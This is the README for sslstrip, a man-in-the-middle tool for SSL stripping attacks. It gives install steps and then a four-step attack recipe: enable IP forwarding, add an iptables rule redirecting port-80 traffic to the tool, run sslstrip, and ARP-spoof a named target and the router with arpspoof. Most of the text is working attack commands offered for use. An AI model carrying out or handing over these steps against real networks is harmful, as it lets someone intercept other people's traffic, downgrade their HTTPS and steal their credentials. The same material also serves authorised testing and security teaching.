sslstrip is a MITM tool that implements Moxie Marlinspike’s SSL stripping attacks.

It requires Python 2.5 or newer, along with the ’twisted’ python module.


  • Unpack: tar zxvf sslstrip-0.5.tar.gz
  • Install twisted: sudo apt-get install python-twisted-web
  • (Optionally) run 'python setup.py install' as root to install, or you can just run it out of the directory.

Running: sslstrip can be run from the source base without installation.
Just run 'python sslstrip.py -h' as a non-root user to get the command-line options.

The four steps to getting this working (assuming you're running Linux) 
1) Flip your machine into forwarding mode (as root):
echo "1" > /proc/sys/net/ipv4/ip_forward
2) Setup iptables to intercept HTTP requests (as root):
iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port <yourListenPort>
3) Run sslstrip with the command-line options you'd like (see above).
4) Run arpspoof to redirect traffic to your machine (as root):
arpspoof -i <yourNetworkdDevice> -t <yourTarget> <theRoutersIpAddress>
